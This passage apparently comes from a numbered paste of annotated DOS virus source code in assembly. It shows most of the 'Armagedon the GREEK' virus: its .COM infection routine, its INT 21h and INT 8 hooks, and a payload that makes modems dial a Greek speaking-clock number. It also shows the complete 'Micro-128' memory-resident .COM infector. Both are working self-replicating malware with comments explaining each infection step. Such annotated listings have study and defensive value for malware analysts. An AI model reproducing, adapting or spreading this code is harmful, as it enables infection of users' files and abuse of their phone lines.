  783.  
  784.         cld                             ;Clear direction
  785.         push    dx ds                   ;Save Filename Address
  786.         xor     cx,cx                   ;Zero CX for use as counter
  787.         mov     si,dx                   ;Move Filename Offset to SI
  788.  
  789. Find_End_Of_Filename:
  790.         mov     al,[si]                 ;Get letter from Filename
  791.         cmp     al,0                    ;Are we at the end of the
  792.         je      Check_Filename          ;Filename? Yes? Go to loc_7
  793.         inc     cx                      ;inc Count
  794.         inc     si                      ;inc pointer to next char
  795.         jmp     short Find_End_Of_Filename
  796.  
  797. Check_Filename:
  798.         add     dx,cx                   ;add filename length to 
  799.                         ;start of filename address
  800.         sub     dx,3                    ;Subtract 3 for extension
  801.         mov     si,offset com           ;com='COM'
  802.         mov     di,dx                   ;set di=dx to Check 
  803.  
  804.                         ;Next few lines Check for
  805.                         ;Command.Com
  806.  
  807.         cmp     byte ptr [di-3],4E      ;Is the second to last letter 
  808.                         ;an 'N'?
  809.         jne     setup_check             ;If not, it's not COMMAND,
  810.                         ;Go to loc_8
  811.         cmp     byte ptr [di-2],44      ;Is the last letter a 'D'?
  812.         je      Infect_Error            ;If so, it is COMMAND,
  813.                         ;Go to Infect_Error.
  814. setup_check:
  815.         mov     cx,3                    ;Setup loop
  816.  
  817. check_if_com:
  818.         mov     al,cs:[si]
  819.         cmp     al,[di]
  820.         jne     Infect_Error                  
  821.         inc     si                      ;Check for 'COM' Extension
  822.         inc     di                      ;If so, infect, otherwise
  823.         loop    check_if_com            ;Go to Infect_Error
  824.   
  825.         pop     ds
  826.         pop     dx                      ;Restore original filename
  827.         push    dx                      ;address to DS:DX, then 
  828.         push    ds                      ;push them back onto stack
  829.  
  830.         mov     si,dx
  831.         mov     dl,0
  832.  
  833.         cmp     byte ptr [si+1],3A      ;Is the second letter a 
  834.                         ; ':'? I.E. is the file on
  835.                         ;another drive?
  836.  
  837.         jne     Get_Free_Disk_Space     ;Nope? Go Get_Free_Disk_Space
  838.  
  839.         mov     dl,[si]                 ;Get drive number if the file
  840.         and     dl,0F                   ;is on another drive.
  841.  
  842. Get_Free_Disk_Space:
  843.         mov     ah,36                   
  844.         int     21h                     ;Get free drive space. 
  845.                         ;DL=drive                                                
  846.         cmp     ax,0FFFF                
  847.         je      Infect_Error
  848.         jmp     short Continue_Infect            
  849.         nop
  850. Infect_Error:
  851.         jmp     Pop_And_Quit_Infect
  852.         jmp     End_Infect                  
  853. Error_After_Open:
  854.         jmp     Close_File
  855.         jmp     Reset_DTA
  856. Continue_Infect:
  857.         cmp     bx,3                    ;If there are less than 3 
  858.         jb      Infect_Error            ;clusters free, quit.        
  859.         
  860.         pop     ds                      ;DS:DX is filename address
  861.         pop     dx                      ;again.
  862.         push    ds
  863.         push    dx
  864.         
  865.         mov     word ptr cs:[filename_seg],ds    ;Save DS:DX again
  866.         mov     word ptr cs:[filename_off],dx
  867.  
  868.         mov     ax,4300 
  869.         int     21                         ;Get the file attributes
  870.                           
  871.         mov     word ptr cs:[attribs],cx   ;Store attributes
  872.         mov     ax,4301
  873.         xor     cx,cx                      ;Set attributes to zero 
  874.         int     21                         ;to insure write access.
  875.                      
  876.         mov     bx,0FFFF
  877.         mov     ah,48                ;Allocate all free memory
  878.         int     21                   ;by trying to allocate more 
  879.                          ;than the computer possibly can,
  880.         mov     ah,48                ;then using the returned number
  881.         int     21                   ;(free mem) as the amount to
  882.                          ;request.
  883.         
  884.         mov     word ptr cs:[mem_allocated],ax  ;save the segment of  
  885.                             ;allocated memory
  886.                         
  887.         mov     ax,cs               ;point ds to cs
  888.         mov     ds,ax
  889.         mov     dx,offset new_DTA
  890.         mov     ah,1A                   
  891.         int     21                  ;Set DTA to memory after virus
  892.                         
  893.         pop     dx
  894.         pop     ds
  895.         mov     ax,3D02 
  896.         clc                         ;clear carry (unneccessary)
  897.         int     21                  ;Open file for read/write access
  898.  
  899.         jc      Error_After_Open        ;on error go to 
  900.                         ;Error_After_Open
  901.         mov     bx,ax                   ;move handle to bx
  902.         mov     word ptr cs:[handle],ax ;save file handle
  903.         mov     cx,0FFFF 
  904.         mov     ax,word ptr cs:[mem_allocated] ;Get segment of 
  905.                                ;memory to use 
  906.         mov     ds,ax                   ;point ds to it
  907.         mov     dx,end_main_virus-start
  908.         mov     ah,3F                   
  909.         clc                             ;clear carry
  910.         int     21                      ;Read 0ffff byte from file
  911.                         
  912.         jc      Error_After_Open           ;If error go to 
  913.                            ;Error_After_Open
  914.         mov     word ptr cs:[file_size],ax ;save file size 
  915.                            ;(number of bytes read)
  916.         cmp     ax,0E000                
  917.         ja      Error_After_Open         ;File is too large, go to 
  918.                          ;Error_After_Open
  919.         cmp     ax,end_main_virus-start  ;Is file smaller than virus?
  920.         jb      Not_Infected             ;Yes, therefore it isn't
  921.                          ;infected, goto Not_Infected
  922.         mov     si,offset (end_main_virus+1-100)
  923.         add     si,si                   ;Set SI to point to area where
  924.         sub     si,15                   ;the text message would be if
  925.                         ;file is already infected.
  926.         mov     cx,13                   ;Length of Text_Message
  927.         mov     di,offset Text_Message  ;("Armagedon the GREEK")
  928.   
  929. Check_For_Infection:
  930.         mov     al,byte ptr [si]       ;This loop checks for the text
  931.         mov     ah,cs:byte ptr [di]    ;message in the file being 
  932.         cmp     ah,al                  ;examined.  If it's there, it
  933.         jne     Not_Infected           ;jumps to Close_File, 
  934.         inc     si                     ;otherwise it jumps to Not_Infected
  935.         inc     di                     
  936.         loop    Check_For_Infection
  937.   
  938.         jmp     short Close_File            
  939.         nop
  940. Not_Infected:
  941.         mov     ax,4200 
  942.         mov     bx,word ptr cs:[handle] 
  943.         xor     cx,cx                   
  944.         mov     dx,cx
  945.         int     21                      ;Move to beginning of file
  946.                         
  947.         jc      Close_File                  
  948.         mov     si,100
  949.         mov     cx,offset (end_main_virus-100)
  950.         xor     di,di                   
  951.         mov     ax,word ptr cs:[mem_allocated]
  952.         mov     ds,ax
  953.   
  954. Copy_Virus:                                     
  955.         mov     al,cs:[si]              ;Copy virus onto file in 
  956.         mov     [di],al                 ;memory. "repnz movsw"
  957.         inc     si                      ;would've worked a lot 
  958.         inc     di                      ;better.
  959.         loop    Copy_Virus
  960.   
  961.         mov     ax,5700
  962.         mov     bx,word ptr cs:[handle] 
  963.         int     21                      ;Get File Date/Time
  964.                         
  965.         mov     word ptr cs:[file_time],cx       ;Save File Time
  966.         mov     word ptr cs:[file_date],dx       ;Save File Date
  967.         mov     ax,word ptr cs:[mem_allocated] 
  968.         mov     ds,ax
  969.         mov     si,offset (end_main_virus-100)
  970.         mov     al,[si]                      ;encrypt first storage
  971.         add     al,0Bh                       ;byte.
  972.         mov     [si],al                      
  973.         xor     dx,dx                        
  974.         mov     cx,word ptr cs:[file_size]   ;Calculate new file size           
  975.         add     cx,offset end_main_virus-100        ;(add virus size)
  976.         mov     bx,word ptr cs:[handle]
  977.         mov     ah,40                 
  978.         int     21                           ;Rewrite file
  979.                            
  980.         mov     word ptr cx,cs:[file_time]           
  981.         mov     word ptr dx,cs:[file_date]           
  982.         mov     bx,word ptr cs:[handle]
  983.         mov     ax,5701 
  984.         int     21                     ;Restore File Time
  985.                            
  986. Close_File:
  987.         mov     bx,word ptr cs:[handle]          
  988.         mov     ah,3E                  
  989.         int     21                      ;Close File
  990.                         
  991.         push    cs
  992.         pop     ds
  993. Reset_DTA:
  994.         mov     dx,80               
  995.         mov     ah,1A 
  996.         int     21                     ;Reset DTA to default
  997.                         
  998.         mov     ax,word ptr cs:[mem_allocated]          
  999.         mov     es,ax
  1000.         mov     ah,49                   
  1001.         int     21                      ;Release Allocated Memory
  1002.                         
  1003.         mov     ax,word ptr cs:[filename_seg]           
  1004.         mov     ds,ax
  1005.         mov     dx,word ptr cs:[filename_off]           
  1006.         mov     ax,4301 
  1007.         mov     cx,word ptr cs:[attribs]
  1008.         int     21                      ;Restore File Date/Time
  1009.                             
  1010.         jmp     short End_Infect            
  1011.         nop
  1012.  
  1013. Pop_And_Quit_Infect:
  1014.         pop     ds 
  1015.         pop     dx
  1016.         jmp     short End_Infect
  1017.         nop
  1018. End_Infect:
  1019.         pop     di es bp dx ax cx si bx ds
  1020.         jmp     Go_Int_21
  1021.         
  1022. ;************************************************************************  
  1023. ;*                      Timer Click (INT 8) Handler                     *
  1024. ;*                      This is Used to Dial Numbers                    *
  1025. ;************************************************************************
  1026. Int_08:
  1027.         push    bp ds es ax bx cx dx si di
  1028.         
  1029.         pushf                              ;Push flags
  1030.         ;call    word ptr cs:[Int_08_Off]  ;Run old timer click
  1031.         db      2e,0ff,1e,26,01
  1032.         
  1033.         call    Timing_Routine
  1034.  
  1035.         push    cs
  1036.         pop     ds
  1037.         mov     ah,5
  1038.         mov     ch,byte ptr [save_time_a]
  1039.         cmp     ah,ch
  1040.         ja      Quit_Int_08
  1041.                         ;if [save_time_a] !=6, quit.
  1042.         mov     ah,6                    
  1043.         cmp     ah,ch
  1044.         jb      Quit_Int_08
  1045.         
  1046.         mov     ah,byte ptr [Ready_Byte]
  1047.         cmp     ah,1
  1048.         je      Go_Dial
  1049.         
  1050.         mov     ah,1
  1051.         mov     byte ptr [Ready_Byte],ah
  1052.         jmp     short Quit_Int_08
  1053.         nop
  1054.  
  1055. Go_Dial:
  1056.         call    Write_Ports
  1057.         
  1058.         inc     word ptr [Bytes_Written]
  1059.         mov     ax,word ptr [Bytes_Written]
  1060.         cmp     ax,21C 
  1061.         jne     Quit_Int_08
  1062.         xor     ax,ax                        ;Reset Counters
  1063.         mov     byte ptr [Ready_Byte],ah
  1064.         mov     word ptr [Bytes_Written],ax
  1065.         mov     byte ptr [Data_Ready],ah
  1066. Quit_Int_08:
  1067.         pop     di si dx cx bx ax es ds bp
  1068.         iret
  1069.  
  1070. ;****************************************************************************  
  1071. ;*                          Timing Routine For Dialing                      *    
  1072. ;****************************************************************************  
  1073.   
  1074.   
  1075. Timing_Routine:
  1076.         push    cs
  1077.         pop     ds
  1078.  
  1079.         xor     al,al     
  1080.         mov     ah,byte ptr [Timing_Counter]
  1081.         cmp     ah,11 
  1082.         jne     Inc_Time_Count                  
  1083.         mov     ah,byte ptr [save_date] 
  1084.         cmp     ah,3bh                  
  1085.         jne     Inc_Saved_Date                  
  1086.         mov     ah,byte ptr [save_time_b]
  1087.         cmp     ah,3bh                  
  1088.         jne     Inc_S_T_B                  
  1089.         mov     ah,byte ptr [save_time_a]
  1090.         cmp     ah,17 
  1091.         jne     Inc_S_T_A       
  1092.         
  1093.         mov     byte ptr [save_time_a],al
  1094. Save_T_B:
  1095.         mov     byte ptr [save_time_b],al
  1096. Store_Save_Date:
  1097.         mov     byte ptr [save_date],al
  1098. Time_Count:
  1099.         mov     byte ptr [Timing_Counter],al
  1100.         ret
  1101. Inc_Time_Count:
  1102.         inc     byte ptr [Timing_Counter]
  1103.         ret
  1104. Inc_Saved_Date:
  1105.         inc     byte ptr [save_date]
  1106.         jmp     short Time_Count
  1107. Inc_S_T_B:
  1108.         inc     byte ptr [save_time_b]
  1109.         jmp     short Store_Save_Date
  1110. Inc_S_T_A:
  1111.         inc     byte ptr [save_time_a]
  1112.         jmp     short Save_T_B
  1113.  
  1114. dial_string         db      '+++aTh0m0s7=35dp081,,,,141' ;Dial string To call 
  1115.                              ;Speaking Clock
  1116.                              ;in Greece (Crete)
  1117.   
  1118. ;****************************************************************************  
  1119. ;*                        Write Data to Com Ports                           *      
  1120. ;****************************************************************************  
  1121.  
  1122. Write_Ports:
  1123.         mov     al,byte ptr [Data_Ready]
  1124.         cmp     al,1
  1125.         je      Ret_Write_Ports              ; Jump if equal
  1126.         
  1127.         mov     al,byte ptr [Ports_Initialized] ;Have Ports been 
  1128.         cmp     al,1                            ;Initialized yet?
  1129.         je      Already_Initialized
  1130.         
  1131.         mov     cx,3
  1132. Init_Ports:
  1133.         mov     dx,cx                   
  1134.         xor     ah,ah                   
  1135.         mov     al,83                   ;Init Comport
  1136.         int     14                      ;1200 Baud, No Parity,
  1137.                         ;1 Stop Bit, 8 bit Word Len.
  1138.         loop    Init_Ports              ;Initalize all Ports 1-4
  1139.  
  1140.   
  1141.         mov     al,1
  1142.         mov     byte ptr [Ports_Initialized],al
  1143.         
  1144.         jmp     short Ret_Write_Ports        
  1145.         nop
  1146.  
  1147. Already_Initialized:
  1148.         push    cs
  1149.         pop     ds
  1150.         mov     si,offset dial_string
  1151.         mov     al,byte ptr [Character_Count]
  1152.         cmp     al,1A 
  1153.         jne     Write_From_SI_To_Ports                  
  1154.         jmp     short Setup_write
  1155.         nop
  1156.  
  1157. Write_From_SI_To_Ports:
  1158.         xor     ah,ah
  1159.         add     si,ax
  1160.         mov     al,[si]
  1161.         mov     dx,3F8                  ;Outport from SI to standard
  1162.         out     dx,al                   ;addresses of ports 1-4
  1163.         mov     dx,2F8                  ;and increment character count
  1164.         out     dx,al
  1165.         mov     dx,2E8 
  1166.         out     dx,al
  1167.         mov     dx,3E8 
  1168.         out     dx,al
  1169.         inc     byte ptr [Character_Count]
  1170.         jmp     short Ret_Write_Ports
  1171.         nop
  1172.  
  1173. Setup_write:
  1174.         mov     cx,3
  1175. Write_To_All_Ports:
  1176.         mov     dx,cx
  1177.         mov     al,0dh
  1178.         mov     ah,1
  1179.         int     14                      ;Write a 1 to all ports
  1180.         loop    Write_To_All_Ports
  1181.   
  1182.         mov     ax,1
  1183.         mov     byte ptr [Data_Ready],al
  1184.         mov     byte ptr [Character_Count],ah
  1185.         mov     byte ptr [Ports_Initialized],ah
  1186.   
  1187. Ret_Write_Ports:
  1188.         ret
  1189.  
  1190. ;****************************************************************************
  1191. ;                        Virus Entry Point
  1192. ;****************************************************************************
  1193.  
  1194. Virus_Entry:
  1195.         mov     ah,0e0 
  1196.         int     21                      ;Check for Installation
  1197.         cmp     ax,0dada                ;Was it installed?
  1198.         jne     Install_Virus           ;No? Then install it.
  1199.         jmp     Already_Installed       ;Yes? Go to Already_Installed
  1200. Install_Virus:
  1201.         push    cs
  1202.         pop     ds
  1203.         mov     ax,3521                     ;Get Int 21 Address
  1204.         int     21 
  1205.  
  1206.         mov     word ptr [Int_21_Off],bx    ;Save old Int 21 
  1207.         mov     word ptr [Int_21_Seg],es    ;Vector
  1208.         mov     dx,offset Int_21
  1209.         mov     ax,2521 
  1210.         int     21                          ;Set Int 21
  1211.  
  1212.         mov     ax,3508 
  1213.         int     21                          ;Get Int 8 Address
  1214.                         
  1215.         mov     word ptr [Int_08_Off],bx      
  1216.         mov     word ptr [Int_08_Seg],es    ;Save old Vectors     
  1217.         mov     dx,offset Int_08
  1218.         mov     ax,2508         
  1219.         int     21                          ;Set Int 08
  1220.  
  1221.         mov     ah,2C 
  1222.         int     21                          ;Get Time
  1223.                         
  1224.         mov     byte ptr [save_time_a],ch
  1225.         mov     byte ptr [save_time_b],cl  ;Save Time and Date
  1226.         mov     byte ptr [save_date],dh
  1227.  
  1228.         mov     ax,cs:[2c]              ;Get environment block 
  1229.         mov     ds,ax                   ;address and put it in DS
  1230.         xor     si,si                   ;DS:SI=beginning of Env. B.
  1231. Find_The_Filename:
  1232.         mov     al,[si]                 ;Search through environment
  1233.         cmp     al,1                    ;block for program executed.
  1234.         je      Found_Filename
  1235.         inc     si
  1236.         jmp     short Find_The_Filename
  1237.  
  1238. Found_Filename:
  1239.         inc     si
  1240.         inc     si
  1241.         mov     dx,si                 ;DS:DX = Filename
  1242.         mov     ax,cs
  1243.         mov     es,ax                 ;Set segment (ES) = CS  
  1244.         mov     bx,5a                 ;Request 5a0h (1440 dec) bytes
  1245.         mov     ah,4a        
  1246.         int     21                    ;Change Allocated Memory
  1247.                      
  1248.         mov     bx,word ptr cs:[81]   ;Beginning of Command Line
  1249.         mov     ax,cs
  1250.         mov     es,ax                 ;set ES=CS again.
  1251.         mov     word ptr cs:[cs_save_1],ax
  1252.         mov     word ptr cs:[cs_save_2],ax   ;Re-Execute program
  1253.         mov     word ptr cs:[cs_save_3],ax   ;To make Int 27 cause
  1254.         mov     ax,4B00                      ;program to go mem-res   
  1255.         mov     word ptr cs:[save_ss],ss     ;without terminating
  1256.         mov     word ptr cs:[save_sp],sp     ;regular program.
  1257.         pushf                                
  1258.         ;call    far cs:[Int_21_Off]         ;Call Load and Execute
  1259.         db      2e,0ff,1e,22,01
  1260.  
  1261.         mov     ax,word ptr cs:[save_ss]
  1262.         mov     ss,ax
  1263.         mov     ax,word ptr cs:[save_sp]        ;Restore Stack
  1264.         mov     sp,ax
  1265.         mov     ax,cs
  1266.         mov     ds,ax
  1267.         mov     dx,537                 ;DX=End of virus
  1268.         int     27                     ;Terminate & stay resident
  1269. Already_Installed:
  1270.         mov     ah,0E1                  ;Get CS of virus in memory
  1271.         int     21      
  1272.         mov     si,offset Install_Jump
  1273.         mov     cs:[si+3],ax            ;Setup Jump
  1274.         mov     ax,offset After_Jump
  1275.         mov     cs:[si+1],ax
  1276.         mov     ax,word ptr cs:[file_size]
  1277.         mov     bx,cs
  1278.  
  1279. Install_Jump:
  1280.         db      0ea
  1281. IP_For_Jump     db      0,0
  1282. CS_For_Jump     db      0,0
  1283.  
  1284. After_Jump:
  1285.         mov     cx,ax  
  1286.         mov     ds,bx
  1287.         mov     si,100
  1288.         mov     di,offset storage_bytes
  1289.  
  1290. Restore_File:                       ;Restore File in memory 
  1291.         mov     al,[di]
  1292.         mov     [si],al
  1293.         inc     si
  1294.         inc     di
  1295.         loop    Restore_File
  1296.   
  1297.         mov     si,offset return_jump
  1298.         mov     cs:[si+3],ds              ;set host segment
  1299.         mov     al,byte ptr ds:[100]      ;Get first byte of host,
  1300.         sub     al,0bh                    ;then unencrypt first byte
  1301.         mov     byte ptr ds:[100],al      ;of Storage_Bytes
  1302.         mov     ax,ds                     ;and restore it
  1303.         mov     es,ax                     ;restore ES and SS to point
  1304.         mov     ss,ax                     ;to DS/CS
  1305.  
  1306. ;*              jmp     far ptr start            ;Return control to COM file
  1307. return_jump:
  1308.         db      0ea
  1309. host_offset     db      00,01
  1310. host_segment    db      07,13
  1311.  
  1312. Text_Message    db      'Armagedon the GREEK'
  1313.  
  1314. end_main_virus:
  1315. Storage_Bytes   db      0D8,20                    ;First Byte Encrypted
  1316.  
  1317. end_of_vir:
  1318. word_space      db      8 dup (?)
  1319.  
  1320. new_DTA :
  1321. end     start
  1322. ;**************************************************************************
  1323.  
  1324.  
  1325.  
  1326.  
  1327. ;***************************************************************************
  1328. ;*                            Micro-128                                    *
  1329. ;***************************************************************************
  1330. ;*     The Micro-128 virus was, for a while, the smallest known memory     *
  1331. ;*resident non-overwriting .COM infector.  It copies itself onto the       *
  1332. ;*interrupt table and hooks Int 21h so that, while in memory, it stores    *
  1333. ;*Int 21's address in the Int E0 field.  This allows it to simple call     *
  1334. ;*Int E0 when it wants an Int 21h.  While it does have a few nice tricks   *
  1335. ;*in it to make it compact, it is a fairly simple virus and is easy to     *
  1336. ;*understand.                                                              *
  1337. ;*                                                                         *
  1338. ;*Note: Micro-128 was originally assembled with an assembler other than    *
  1339. ;*      my version of TASM, so to keep the bytes for XOR exactly the same  *
  1340. ;*      all XOR's are entered directly, with their assembler commands      * 
  1341. ;*      commented out.                                                     *
  1342. ;***************************************************************************
  1343. .model  tiny
  1344. .code
  1345.     org     100h
  1346.   
  1347. start:
  1348.         db      0e9h,03h,0              ;Jmp Virus_Entry
  1349.         nop
  1350.         int     20h
  1351. Virus_Entry:
  1352.         mov     di,100h
  1353.         push    di
  1354.         mov     si,di
  1355.         add     si,[di+1]               ;Get offset
  1356.         movsw                           ;Restore Storage Bytes
  1357.         movsb
  1358.  
  1359. Copy_Virus:                
  1360.         
  1361.         ;xor     ax,ax                   ;Set ES = 0 (Interrupt Table)
  1362.         db       31h, 0c0h
  1363.  
  1364.         mov     es,ax
  1365.         mov     di,303h                 ;Space in Int Table
  1366.         mov     cl,7Dh                  ;Virus Size
  1367.         rep     movsb                   ;Copy Virus.
  1368.         scasw                           ;ES:DI = 0?
  1369.         jnz     Done_Install            ;No, Already Installed.
  1370.         std                             ;Set direction flag so that
  1371.                         ;stosw stores, then decrements
  1372.                         ;SI and DI.
  1373.  
  1374. Hook_Int_21:    
  1375.         xchg    ax,es:[di+0FD04h]       ;DI+FD04h = 86h the first time,
  1376.                         ;and 84h the second.  These are
  1377.                         ;Int 21h's Segment and Offset
  1378.                         ;respectively.
  1379.  
  1380.         stosw                           ;Stores old handler to
  1381.                         ;CS_21 and IP_21.
  1382.  
  1383.         mov     ax,33Fh                 ;New offset of Int 21 Handler.
  1384.         cmc                             ;Complement carry
  1385.         jc      Hook_Int_21             ;jump Hook_Int_21
  1386.         
  1387.         cld                             ;Clear direction flag.
  1388.  
  1389. Done_Install:
  1390.         push    cs                      ;Return to Host.
  1391.         pop     es
  1392.         ret
  1393.   
  1394. Go_Beginning:
  1395.         mov     al,0                    ;Setup to go from beginning of 
  1396.                         ;file
  1397. Move_FP:
  1398.         mov     ah,42h                  ;Move File pointer
  1399.         ;xor     cx,cx                   ;Zero Segment and Offset,
  1400.         db      31h,0c9h
  1401.  
  1402.         ;xor     dx,dx                   ;Go to either beginning or end.
  1403.         db      31h,0d2h
  1404.  
  1405.         int     0E0h
  1406.         mov     cl,3                     ;Used to make code tighter.
  1407.         mov     dh,3                    
  1408.         retn
  1409.         
  1410.         db      0e9h,03h,0                  ;Jump Inside_21
  1411.  
  1412. Int_21_Handler:                
  1413.         cmp     ah,4bh
  1414. Inside_21:
  1415.         jnz     Go_Int_21                   ;Jump if not execute.
  1416.         
  1417.         push    ax bx dx ds                 ;Save registers    
  1418.         
  1419.         mov     ax,3D02h                    ;Open File Read/Write   
  1420.         int     0E0h
  1421.         jc      Close_File
  1422.         mov     bx,ax                       ;Move file handle to BX
  1423.         
  1424.         push    cs
  1425.         pop     ds
  1426.  
  1427.         call    Go_Beginning            ;Go to start of file
  1428.         
  1429.         mov     ah,3Fh                  ;DX=300 CX=3
  1430.         int     0E0h                    ;Read 3 bytes from file
  1431.  
  1432.         cmp     byte ptr ds:[300h],'M'    ;Is it an .EXE?
  1433.         je      Close_File              ;If so, close.
  1434.  
  1435.         dec     ax                      ;AX = 2 (AX = 3 from read)
  1436.         call    Move_FP                 ;Go to end of file.
  1437.         mov     ds:[33dh],ax            ;Save file length
  1438.         
  1439.         mov     ah,40h                  ;Write virus to file
  1440.         mov     cl,80h                  ;128 bytes.
  1441.         int     0E0h                   
  1442.         
  1443.         call    Go_Beginning            ;Go back to the beginning
  1444.         mov     dl,3Ch                  ;and write in jump.
  1445.         mov     ah,40h                  
  1446.         int     0E0h                   
  1447. Close_File:
  1448.         mov     ah,3Eh                  ;Close file
  1449.         int     0E0h                    
  1450.         pop     ds dx bx ax
  1451.  
  1452. Go_Int_21:
  1453.     db      0EAh 
  1454. IP_21   dw      ?                               ;When in memory, these are
  1455. CS_21   dw      ?                               ;Located at the entry for
  1456.                         ;Int E0h, making any call to
  1457.                         ;that interrupt go to INT 21h.
  1458. end     start
  1459. ;***************************************************************************
  1460.